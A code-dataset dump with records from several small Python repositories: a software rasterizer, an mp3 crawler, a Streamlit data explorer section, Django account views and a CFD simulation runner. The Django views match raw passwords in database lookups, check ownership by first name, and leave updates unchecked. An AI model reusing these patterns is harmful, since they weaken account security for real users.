ts[0] += dtLeft[0]\n                    ts[1] += dtLeft[1]\n                    te[0] += dtRight[0]\n                    te[1] += dtRight[1]\n                else:\n                    self.__DrawHorizontalLine(round(xs), round(xe), izs, ize, loopY, cs, ce)\n                    xs += dxLeft\n                    xe += dxRight\n                    izs += dizLeft\n                    ize += dizRight\n                    cs += dcLeft\n                    ce += dcRight\n\n        else:\n            # TODO 这里没有对裁剪情况做纹理映射\n            # 裁剪X轴会稍微慢一些\n            for loopY in range(iy1, iy3 + 1):\n                left = xs\n                right = xe\n                leftZ = izs\n                rightZ = ize\n                leftC = cs\n                rightC = ce\n                xs += dxLeft\n                xe += dxRight\n                izs += dizLeft\n                ize += dizRight\n                cs += dcLeft\n                ce += dcRight\n                if left < minClipX:\n                    left = minClipX\n                    leftZ = izs + (ize - izs) * minClipX / (xe - xs)\n                    leftC = Color.Lerp(cs, ce, minClipX / (xe - xs))\n                    if right < minClipX:\n                        continue\n                if right > maxClipX:\n                    right = maxClipX\n                    rightZ = izs + (ize - izs) * maxClipX / (xe - xs)\n                    rightC = Color.Lerp(cs, ce, maxClipX / (xe - xs))\n                    if left > maxClipX:\n                        continue\n                self.__DrawHorizontalLine(round(left), round(right), leftZ, rightZ, loopY, leftC, rightC)\n\n    def __DrawHorizontalLine(self, x1, x2, iz1, iz2, y, c1, c2):\n        \"\"\"画水平扫描线（颜色不同则对颜色插值）\"\"\"\n        if x1 > x2:\n            x1, x2 = x2, x1\n            c1, c2 = c2, c1\n            iz1, iz2 = iz2, iz1\n        elif x1 == x2:\n            return\n\n        diz = (iz2 - iz1) / (x2 - x1)\n        iz = iz1\n        sameColor = c1 == c2\n        if sameColor:\n            for x in range(x1, x2):\n                self.__SetBufferPixel(x, y, iz, c1)\n                iz += diz\n        else:\n            dc = (c2 - c1) / (x2 - x1)\n            color = c1\n            for x in range(x1, x2):\n                self.__SetBufferPixel(x, y, iz, color)\n                iz += diz\n                color += dc\n\n    def __DrawTexturedHorizontalLine(self, x1, x2, iz1, iz2, y, c1, c2, uv1, uv2, material):\n        \"\"\"画带纹理的水平扫描线（颜色不同则对颜色插值）\"\"\"\n        if x1 > x2:\n            x1, x2 = x2, x1\n            c1, c2 = c2, c1\n            iz1, iz2 = iz2, iz1\n            uv1, uv2 = uv2, uv1\n        elif x1 == x2:\n            return\n\n        dc = (c2 - c1) / (x2 - x1)\n        diz = (iz2 - iz1) / (x2 - x1)\n        iz = iz1\n        diu = (uv2[0] - uv1[0]) / (x2 - x1)\n        div = (uv2[1] - uv1[1]) / (x2 - x1)\n        iu, iv = uv1\n        baseColor = c1\n        for x in range(x1, x2):\n            # 获取纹理颜色\n            # 除以z对uv做透视矫正，否则渲染的纹理会变形\n            u, v = iu / iz, iv / iz\n            textureColor = self.__GetTexturePixelColor(u, v, material)\n            # 用光照颜色去调制纹理颜色\n            finalColor = Color()\n            Color.Multiply(finalColor, textureColor, baseColor)\n            self.__SetBufferPixel(x, y, iz, finalColor)\n\n            baseColor += dc\n            iz += diz\n            iu += diu\n            iv += div\n\n    def __SetBufferPixel(self, x, y, z, c):\n        if self.zbuffer:\n            # 判断Z缓存\n            if z > self.zbuffer.Get((x, y)):\n                self.buffer.Set((x, y), c)\n                self.zbuffer.Set((x, y), z)\n        else:\n            self.buffer.Set((x, y), c)\n\n    def __GetTexturePixelColor(self, u, v, material):\n        # while u < 0:\n        #     u += 1\n        # while u > 1:\n        #     u -= 1\n        # while v < 0:\n        #     v += 1\n        # while v > 1:\n        #     v -= 1\n        # print('u: {}, v: {}'.format(u, v))\n\n        # 点采样\n        if material.textureFilterMode == ETextureFilterMode.Point:\n            uPixelInt = min(round(material.textureSize[0] * u), material.textureSize[0] - 1)\n            vPixelInt = min(round(material.textureSize[1] * v), material.textureSize[1] - 1)\n            temp = material.texture[uPixelInt, vPixelInt]\n            textureColor = Color(temp[0], temp[1], temp[2])\n        # 双线性插值\n        elif material.textureFilterMode == ETextureFilterMode.Bilinear:\n            uPixel = min(material.textureSize[0] * u, material.textureSize[0] - 1)\n            vPixel = min(material.textureSize[1] * v, material.textureSize[1] - 1)\n            uPixelInt = math.floor(uPixel)\n            uError = uPixel - uPixelInt\n            vPixelInt = math.floor(vPixel)\n            vError = vPixel - vPixelInt\n            if uPixelInt > 0 and vPixelInt > 0:\n                c00 = material.texture[uPixelInt - 1, vPixelInt - 1]\n                c01 = material.texture[uPixelInt, vPixelInt - 1]\n                c10 = material.texture[uPixelInt - 1, vPixelInt]\n                c11 = material.texture[uPixelInt, vPixelInt]\n                textureColor = Color(c00[0], c00[1], c00[2]) * (1 - uError) * (1 - vError) + \\\n                               Color(c01[0], c01[1], c01[2]) * uError * (1 - vError) + \\\n                               Color(c10[0], c10[1], c10[2]) * (1 - uError) * vError + \\\n                               Color(c11[0], c11[1], c11[2]) * uError * vError\n            else:\n                temp = material.texture[uPixelInt, vPixelInt]\n                textureColor = Color(temp[0], temp[1], temp[2])\n        return textureColor\n\n    def SetClipRegion(self, p1, p2):\n        \"\"\"设置裁剪区域\"\"\"\n        assert isinstance(p1, Point)\n        assert isinstance(p2, Point)\n        self.clipRegion[0] = p1\n        self.clipRegion[1] = p2\n\n\nclass Buffer(object):\n    DefaultWidth = 800\n    DefaultHeight = 800\n\n    def __init__(self, width=DefaultWidth, height=DefaultHeight, d=None):\n        self.width = width\n        self.height = height\n        self.data = [[d for i in range(self.width)] for j in range(self.height)]\n\n    def Get(self, pos):\n        return self.data[pos[0]][pos[1]]\n\n    def IsPositionValid(self, pos):\n        return 0 <= pos[0] < self.width and 0 <= pos[1] < self.height\n\n    def Set(self, pos, d):\n        if self.IsPositionValid(pos):\n            self.data[pos[0]][pos[1]] = d\n            return True\n        return False\n\n    def Clear(self, d=None):\n        for i in range(self.width):\n            for j in range(self.height):\n                self.data[i][j] = d\n\n    def GetData(self):\n        result = []\n        for y in range(self.height):\n            for x in range(self.width):\n                d = self.data[x][y]\n                result.append(d)\n        return result\n\n\nclass RenderBuffer(Buffer):\n    \"\"\"渲染缓存，存放像素颜色数据\"\"\"\n\n    def __init__(self, width=Buffer.DefaultWidth, height=Buffer.DefaultHeight, color=Color()):\n        super(RenderBuffer, self).__init__(width, height, color)\n        c = color.tuple\n        self.raw = [c for i in range(self.width) for j in range(self.height)]\n\n    def Set(self, pos, color):\n        # assert isinstance(color, Color), 'The param color is not a instance of Color'\n        if super(RenderBuffer, self).Set(pos, color):\n            self.raw[pos[1] * self.width + pos[0]] = color.tuple\n\n    def Clear(self, color=Color()):\n        super(RenderBuffer, self).Clear(color)\n        c = color.tuple\n        self.raw = [c for i in range(self.width) for j in range(self.height)]\n\n    def GetData(self):\n        return self.raw\n\n    # def __str__(self):\n    #     result = []\n    #     for line in self.data:\n    #         for item in line:\n    #             result.append(str(item))\n    #             result.append(' ')\n    #         result.append('\\n')\n    #     return ''.join(result)\n\n\nclass ZBuffer(Buffer):\n    \"\"\"Z缓存\"\"\"\n\n    def __init__(self, width=Buffer.DefaultWidth, height=Buffer.DefaultHeight):\n        super(ZBuffer, self).__init__(width, height, 0)\n\n    def Clear(self, d=0):\n        super(ZBuffer, self).Clear(d)\n\n\nclass RenderInterface(object):\n    def Render(self, buffer):\n        pass\n\n\nclass ImageRenderer(RenderInterface):\n    def __init__(self, filename):\n        self.filename = filename\n\n    def Render(self, buffer):\n        image = Image.new('RGBA', (buffer.width, buffer.height))\n        pixels = image.load()\n        image.putdata(buffer.raw)\n        # for i in range(image.size[0]):\n        #     for j in range(image.size[1]):\n        #         pixels[i, j] = buffer.data[i][j].tuple\n\n        image.save(self.filename)\n\n\nclass OpenGLRenderer(RenderInterface):\n    pass\n", "repo_name": "raytaylorlin/MySoftRendererPython", "sub_path": "graphics/render.py", "file_name": "render.py", "file_ext": "py", "file_size_in_byte": 18181, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "math.isclose", "line_number": 71, "usage_type": "call"}, {"api_name": "math.isclose", "line_number": 72, "usage_type": "call"}, {"api_name": "math.isclose", "line_number": 93, "usage_type": "call"}, {"api_name": "math.isclose", "line_number": 95, "usage_type": "call"}, {"api_name": "utils.log.logger.debug", "line_number": 136, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 136, "usage_type": "attribute"}, {"api_name": "utils.log", "line_number": 136, "usage_type": "name"}, {"api_name": "utils.log.logger.debug", "line_number": 173, "usage_type": "call"}, {"api_name": "utils.log.logger", "line_number": 173, "usage_type": "attribute"}, {"api_name": "utils.log", "line_number": 173, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 213, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 225, "usage_type": "call"}, {"api_name": "graphics.base.ETextureFilterMode.Point", "line_number": 358, "usage_type": "attribute"}, {"api_name": "graphics.base.ETextureFilterMode", "line_number": 358, "usage_type": "name"}, {"api_name": "graphics.base.ETextureFilterMode.Bilinear", "line_number": 364, "usage_type": "attribute"}, {"api_name": "graphics.base.ETextureFilterMode", "line_number": 364, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 367, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 369, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 479, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 479, "usage_type": "name"}]}
{"seq_id": "13252900413", "text": "import requests \r\nfrom bs4 import BeautifulSoup \r\nimport os  \r\ndef get_audio_links(url): # searches the HTML page and extracts urls ending with mp3\r\n    r = requests.get(url) \r\n    soup = BeautifulSoup(r.content, \"html.parser\") \r\n    links = soup.findAll('audio') \r\n\r\n    audio_links = [link['src'] for link in links if link['src'].endswith('mp3')] \r\n    return audio_links \r\n\t\r\ndef findNextPage(url): # searches the HTML page and extracts the url of the next page (need to adjust the function based on HTML formatting of each website)\r\n\tr = requests.get(url)\r\n\tsoup = BeautifulSoup(r.content,'html.parser')\r\n\tnextpage = soup.findAll('a')\t\r\n\tnexturl = \"\"\r\n\t\t\r\n\tfor next in nextpage:\r\n\t\tif (next.has_attr('class')):\r\n\t\t\tif (next['class'][0] == \"current2\"):\r\n\t\t\t\tnexturl = nexturl + next['href']\r\n\t\t\t\tbreak\r\n\t\r\n\treturn nexturl\t\r\n\t\r\ndef download_audio(audio_links): # downloads the mp3 files to the directory containing this program file using links from the get_audio_links method\r\n\t\r\n\t\tfor link in audio_links:\r\n\t\t\tprint(\"downloading \", link)\r\n\t\t\treq = requests.get(link, stream=True)\r\n\t\t\tfile_name = link[40:]\r\n\t\t\tfile_name = os.path.join('songs', file_name)\r\n\t\t\twith open(file_name, 'wb') as f: \r\n\t\t\t\tfor chunk in req.iter_content(chunk_size = 1024*1024): \r\n\t\t\t\t\tif chunk: \r\n\t\t\t\t\t\tf.write(chunk) \r\n\t\treturn\r\n\t\r\ndef crawl_website(): # crawls the website to download music files\r\n\turl = \"https://www.bensound.com/royalty-free-music\"\r\n\ti = 1\r\n\t\r\n\twhile not(url is None) :\r\n\t\taudio_links = get_audio_links(url)\r\n\t\turl = findNextPage(url)\r\n\t\tdownload_audio(audio_links)\r\n\t\tprint(\"page \",i, \"done\") \r\n\t\ti = i+1\r\n\r\ncrawl_website()", "repo_name": "tusharGOEL1/Content-Based-Music-Retrieval", "sub_path": "project/crawler.py", "file_name": "crawler.py", "file_ext": "py", "file_size_in_byte": 1624, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 5, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 6, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}]}
{"seq_id": "27252053109", "text": "import pandas as pd\nimport streamlit as st\nfrom data_explorer.domain.entities import Section\nfrom src.data import Dataset\nfrom src.numeric import NumericColumn\nfrom src.settings import ParamsSections\n\n\nclass NumericSection(Section):\n    \"\"\"\n    Class that stores the content of the numeric section.\n\n    Attributes\n    ----------\n    dataset : DataSet\n        Dataset object with the transformed dataframe.\n\n    params: ParamsSections\n        Object with the parameters for the numeric section.\n\n    header : str, default = \"1. Overall Information\"\n        Section header.\n    \"\"\"\n\n    def __init__(\n        self,\n        dataset: Dataset,\n        params: ParamsSections,\n        header: str = \"2. Numeric Column Information\",\n    ):\n\n        self._name = \"Numeric\"\n        self._header = header\n        self._params = params\n        self._dataset = dataset\n\n    def render(self) -> None:\n        \"\"\"Render the numeric section.\"\"\"\n\n        # Header\n        st.header(self._header)\n\n        for n, col in enumerate(self._dataset.get_numeric_columns()):\n            num_col = NumericColumn(col, self._dataset.df[col])\n\n            # Subheader\n            st.subheader(f\"2.{n} Field Name: *{num_col.get_name()}*\")\n\n            # Display table with metrics\n            st.dataframe(\n                pd.Series(\n                    {\n                        \"Number of Unique Values\": num_col.get_unique(\n                            self._params.DROP_NA\n                        ),\n                        \"Number of Rows with Missing Values\": num_col.get_missing(),\n                        \"Number of Rows with 0\": num_col.get_zeros(),\n                        \"Number of Rows with Negative Values\": num_col.get_negatives(),\n                        \"Average Value\": num_col.get_mean(),\n                        \"Standard Deviation Value\": num_col.get_std(),\n                        \"Minimum Value\": num_col.get_min(),\n                        \"Maximum Value\": num_col.get_max(),\n                        \"Median Value\": num_col.get_median(),\n                    },\n                    name=\"value\",\n                )\n            )\n\n            # Display histogram\n            st.plotly_chart(num_col.get_histogram(self._params.PLOT))\n\n            # Display most frequent values\n            st.write(\"**Most Frequent Values**\")\n            st.dataframe(\n                num_col.get_frequent(self._params.TOP_FREQUENCY, self._params.DROP_NA)\n            )\n\n            # Add a horizontal rule\n            st.markdown(\"---\")\n", "repo_name": "AnaMJaimeR/data_explorer_webapp", "sub_path": "data_explorer/domain/sections/numeric.py", "file_name": "numeric.py", "file_ext": "py", "file_size_in_byte": 2512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "data_explorer.domain.entities.Section", "line_number": 9, "usage_type": "name"}, {"api_name": "src.data.Dataset", "line_number": 27, "usage_type": "name"}, {"api_name": "src.settings.ParamsSections", "line_number": 28, "usage_type": "name"}, {"api_name": "streamlit.header", "line_number": 41, "usage_type": "call"}, {"api_name": "src.numeric.NumericColumn", "line_number": 44, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.plotly_chart", "line_number": 70, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 74, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "31111737870", "text": "from pstats import Stats\nfrom django.shortcuts import render\nfrom account.serializer import loginserializer,updateserializer\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom celery import current_app\nfrom .task import adding_task\n\nimport logging as logz\n# Create your views here.\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.response import Response\nfrom .models import CustomUser\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.permissions import IsAuthenticated\nclass CustomAuthToken(ObtainAuthToken):\n\n\n    def post(self, request, *args, **kwargs):\n        try:\n            logz.info(\"user token access\")\n            userdatas= CustomUser.objects.get(\n                email= request.data['email'],\n            password = request.data['password']\n            )\n        except CustomUser.DoesNotExist:\n            logz.warning(\"user not found \")\n            print(\"user not found\")\n            return Response(status=status.HTTP_404_NOT_FOUND)\n        serializer = loginserializer(userdatas)\n        logz.info(\"serializing data\")\n        token, created = Token.objects.get_or_create(user=userdatas)\n        logz.info(\"token created or get and sent\")\n        data= {\n            'token': token.key,\n            'user_id':serializer.data[\"id\"]\n        }\n        return Response(status=status.HTTP_200_OK,data=data)\n\n\nclass user_Register(APIView):\n    def post(self,request, *args, **kwargs):\n        logz.info(\"get user data to creaet user\")\n        serial = loginserializer(data=request.data)\n        if serial.is_valid():\n            logz.info(\"data set and saved responded\")\n            serial.save()\n            return Response(status=status.HTTP_200_OK)\n        logz.warning(\"bad data error\")\n        return Response(status=status.HTTP_400_BAD_REQUEST)\n\nclass user_crud(APIView):\n    authentication_classes = [TokenAuthentication]\n    permission_classes = [IsAuthenticated]\n    \n    def get(self,request,id,*args,**kwargs):\n        logz.info(\"get user data\")\n        # print(request.user)\n        error=False\n        serial,error = get_userobj_byid_and_avalicheck(id,request)\n        if error == True:\n            logz.warning(\"user data error\")\n            return serial\n        logz.info(\"get user data sent\")\n        return Response(serial.data,status=status.HTTP_200_OK)\n        \n    \n\n    def put(self,request,id,*args,**kwargs):\n        userdatas= CustomUser.objects.get(pk=id)\n        logz.info(\"get user data\")\n        serial = loginserializer(userdatas,data=request.data)\n        print(serial.is_valid())\n        if serial.is_valid():\n            serial.save()\n            logz.info(\"get user data updated\")\n            return Response(serial.data,status=status.HTTP_202_ACCEPTED)\n        return Response(status=status.HTTP_400_BAD_REQUEST)\n    \n    def delete(self,request,id,*args,**kwargs):\n        try:\n            userdatas= CustomUser.objects.get(pk=id)\n            logz.info(\"get user data\")\n            serial = loginserializer(userdatas)\n            # print(serial.data)\n            # print()\n            if str(request.user) == str(serial.data[\"first_name\"]):\n                userdatas.delete()\n                logz.info(\"get user data deleted\")\n\n                return Response(status=status.HTTP_204_NO_CONTENT)\n            else:\n                print('else')\n                logz.warning(\"data error\")\n                return Response(status=status.HTTP_403_FORBIDDEN)\n        except CustomUser.DoesNotExist:\n            print(\"user not found\")\n            logz.warning(\"data error\")\n            return Response(status=status.HTTP_404_NOT_FOUND)\n\n\n    \n\n\n\n# function to get object  by id and check if the user is the same my useing request.\n\ndef get_userobj_byid(id,request):\n    try:\n        userdatas= CustomUser.objects.get(pk=id)\n        serial = loginserializer(userdatas)\n        # print(serial.data)\n        if str(request.user) == str(serial.data[\"first_name\"]):\n            return userdatas,False\n        else:\n            print('else')\n            Response(status=status.HTTP_403_FORBIDDEN)\n            return Response(status=status.HTTP_403_FORBIDDEN),True\n    except CustomUser.DoesNotExist:\n            print(\"user not found\")\n            return Response(status=status.HTTP_404_NOT_FOUND),True\n    \n\ndef get_userobj_byid_and_avalicheck(id,request):\n\n    try:\n        userdatas= CustomUser.objects.get(pk=id)\n        serial = loginserializer(userdatas)\n        print(\"req\",request.user)\n        print(\"ser\",serial.data[\"username\"])\n        if str(request.user) == str(serial.data[\"first_name\"]):\n            return serial,False\n        else:\n            print('else')\n            return Response(status=status.HTTP_403_FORBIDDEN),True\n        \n    except CustomUser.DoesNotExist:\n            print(\"user not found\")\n            return Response(status=status.HTTP_404_NOT_FOUND),True\n\n\n\n@api_view(['GET','POST'])\ndef test_auth(request):\n    if request.method == 'GET':\n        res = adding_task(6,2)\n        return Response(res,status=status.HTTP_200_OK)", "repo_name": "badushaebrahim/dockerizeddjango", "sub_path": "account/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.authtoken.views.ObtainAuthToken", "line_number": 18, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 23, "usage_type": "call"}, {"api_name": "models.CustomUser.objects.get", "line_number": 24, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 24, "usage_type": "name"}, {"api_name": "models.CustomUser.DoesNotExist", "line_number": 28, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 28, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 31, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 31, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 31, "usage_type": "name"}, {"api_name": "account.serializer.loginserializer", "line_number": 32, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 33, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.models.Token.objects.get_or_create", "line_number": 34, "usage_type": "call"}, {"api_name": "rest_framework.authtoken.models.Token.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.authtoken.models.Token", "line_number": 34, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 35, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 40, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 40, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 43, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 45, "usage_type": "call"}, {"api_name": "account.serializer.loginserializer", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 48, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 50, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 50, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 51, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 52, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 54, "usage_type": "name"}, {"api_name": "rest_framework.authentication.TokenAuthentication", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 56, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 64, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 66, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 67, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 67, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 67, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.get", "line_number": 72, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 72, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 73, "usage_type": "call"}, {"api_name": "account.serializer.loginserializer", "line_number": 74, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 78, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 79, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 79, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 79, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 80, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 80, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 80, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.get", "line_number": 84, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 84, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 85, "usage_type": "call"}, {"api_name": "account.serializer.loginserializer", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 93, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 93, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 93, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 96, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 97, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 97, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 97, "usage_type": "name"}, {"api_name": "models.CustomUser.DoesNotExist", "line_number": 98, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 98, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 100, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 101, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 101, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 101, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.get", "line_number": 112, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 112, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 112, "usage_type": "name"}, {"api_name": "account.serializer.loginserializer", "line_number": 113, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 119, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 119, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 119, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 120, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 120, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 120, "usage_type": "name"}, {"api_name": "models.CustomUser.DoesNotExist", "line_number": 121, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 121, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 123, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 123, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 123, "usage_type": "name"}, {"api_name": "models.CustomUser.objects.get", "line_number": 129, "usage_type": "call"}, {"api_name": "models.CustomUser.objects", "line_number": 129, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 129, "usage_type": "name"}, {"api_name": "account.serializer.loginserializer", "line_number": 130, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 137, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_403_FORBIDDEN", "line_number": 137, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 137, "usage_type": "name"}, {"api_name": "models.CustomUser.DoesNotExist", "line_number": 139, "usage_type": "attribute"}, {"api_name": "models.CustomUser", "line_number": 139, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 141, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 141, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 141, "usage_type": "name"}, {"api_name": "task.adding_task", "line_number": 148, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 149, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 149, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 149, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 145, "usage_type": "call"}]}
{"seq_id": "10313803727", "text": "import logging\n\nfrom utils.classes import Circle, Mesh\nfrom utils.schemas import Node\nfrom utils.functions import run_simulation\n\nfrom utils.classes import Store\nfrom utils.schemas import Settings\n\nlogger = logging.getLogger(__name__)\n\n\ndef simulation(store: Store, settings: Settings):\n    logger.info(\"Simulation started running\")\n    domain_height = 50\n    domain_width = 300\n    circle_radius = domain_height // 9\n    inlet_velocity = 0.04\n    reynolds_number = 80\n\n    center_node = Node(x=domain_width // 5, y=domain_height // 2)\n    circle = Circle(circle_radius)\n    mesh = Mesh(domain_width, domain_height)\n    mesh.place(circle, center_node)\n\n    run_simulation(\n        store,\n        mesh.get_grid().astype(bool),\n        domain_height,\n        domain_width,\n        circle_radius,\n        inlet_velocity,\n        reynolds_number,\n        15000,\n        True,\n        1000,\n    )\n", "repo_name": "nikitaproks/cfdtool", "sub_path": "cfdtool/simulation.py", "file_name": "simulation.py", "file_ext": "py", "file_size_in_byte": 892, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "utils.classes.Store", "line_number": 13, "usage_type": "name"}, {"api_name": "utils.schemas.Settings", "line_number": 13, "usage_type": "name"}, {"api_name": "utils.schemas.Node", "line_number": 21, "usage_type": "call"}, {"api_name": "utils.classes.Circle", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.classes.Mesh", "line_number": 23, "usage_type": "call"}, {"api_name": "utils.functions.run_simulation", "line_number": 26, "usage_type": "call"}]}
